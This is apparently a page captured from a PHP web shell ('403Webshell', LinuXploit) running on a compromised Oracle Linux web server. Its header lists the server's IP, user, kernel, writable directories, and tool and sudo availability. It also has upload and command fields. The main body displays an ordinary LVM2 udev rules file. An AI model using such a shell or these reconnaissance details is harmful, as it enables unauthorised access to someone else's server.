403Webshell
Server IP : 158.178.228.73  /  Your IP : 80.80.80.153
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux ust-wp1-prod 5.15.0-308.179.6.el8uek.x86_64 #2 SMP Wed Apr 23 10:46:57 PDT 2025 x86_64
User : tomasFtp ( 1007)
PHP Version : 8.4.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/udev/rules.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/udev/rules.d/13-dm-disk.rules
# Copyright (C) 2009 Red Hat, Inc. All rights reserved.
#
# This file is part of LVM2.

# Udev rules for device-mapper devices.
#
# These rules create symlinks in /dev/disk directory.
# Symlinks that depend on probing filesystem type,
# label and uuid are created only if the device is not
# suspended.

# "add" event is processed on coldplug only!
ACTION!="add|change", GOTO="dm_end"
ENV{DM_UDEV_RULES_VSN}!="?*", GOTO="dm_end"
ENV{DM_UDEV_DISABLE_DISK_RULES_FLAG}=="1", GOTO="dm_end"

SYMLINK+="disk/by-id/dm-name-$env{DM_NAME}"
ENV{DM_UUID}=="?*", SYMLINK+="disk/by-id/dm-uuid-$env{DM_UUID}"

ENV{DM_SUSPENDED}=="1", GOTO="dm_end"
ENV{DM_NOSCAN}=="1", GOTO="dm_watch"

IMPORT{builtin}="blkid"
ENV{DM_UDEV_LOW_PRIORITY_FLAG}=="1", OPTIONS="link_priority=-100"
#The logic to prevent an existing symlink being overwritten by a
#device having duplicate uuid once we got the uuid we are locking it out ,like Raid devices, raw disks,
#LVM volumes. Hence same logic exists in the corresponding rule files.
ENV{ID_FS_USAGE}=="filesystem|other|crypto", ENV{ID_FS_UUID_ENC}=="?*", PROGRAM=="/bin/sh -c '/usr/bin/findmnt UUID=$env{ID_FS_UUID_ENC} -o SOURCE --noheadings | /usr/bin/grep -x \"/dev/mapper/$env{DM_NAME}\"'", SYMLINK+="disk/by-uuid/$env{ID_FS_UUID_ENC}", GOTO="uuid_end"
ENV{ID_FS_USAGE}=="filesystem|other|crypto", ENV{ID_FS_UUID_ENC}=="?*", PROGRAM!="/usr/bin/findmnt UUID=$env{ID_FS_UUID_ENC}" , SYMLINK+="disk/by-uuid/$env{ID_FS_UUID_ENC}"

LABEL="uuid_end"

#The logic to prevent an existing symlink being overwritten by a
#device having duplicate label once we got the label we are locking it out ,like Raid devices, raw disks,
#LVM volumes. Hence same logic exists in the corresponding rule files.
ENV{ID_FS_USAGE}=="filesystem|other", ENV{ID_FS_LABEL_ENC}=="?*", PROGRAM=="/bin/sh -c '/usr/bin/findmnt LABEL=$env{ID_FS_LABEL_ENC} -o SOURCE --noheadings | /usr/bin/grep -x \"/dev/mapper/$env{DM_NAME}\"'", SYMLINK+="disk/by-label/$env{ID_FS_LABEL_ENC}", GOTO="label_end"
ENV{ID_FS_USAGE}=="filesystem|other", ENV{ID_FS_LABEL_ENC}=="?*", PROGRAM!="/usr/bin/findmnt LABEL=$env{ID_FS_LABEL_ENC}" , SYMLINK+="disk/by-label/$env{ID_FS_LABEL_ENC}"

LABEL="label_end"

ENV{ID_PART_ENTRY_UUID}=="?*", SYMLINK+="disk/by-partuuid/$env{ID_PART_ENTRY_UUID}"
ENV{ID_PART_ENTRY_SCHEME}=="gpt", ENV{ID_PART_ENTRY_NAME}=="?*", SYMLINK+="disk/by-partlabel/$env{ID_PART_ENTRY_NAME}"
ENV{ID_PART_ENTRY_SCHEME}=="gpt", ENV{ID_PART_GPT_AUTO_ROOT}=="1", SYMLINK+="gpt-auto-root"

# Add inotify watch to track changes on this device.
# Using the watch rule is not optimal - it generates a lot of spurious
# and useless events whenever the device opened for read-write is closed.
# The best would be to generete the event directly in the tool changing
# relevant information so only relevant events will be processed
# (like creating a filesystem, changing filesystem label etc.).
#
# But let's use this until we have something better...
LABEL="dm_watch"
OPTIONS+="watch"

LABEL="dm_end"

Youez - 2016 - github.com/yon3zu
LinuXploit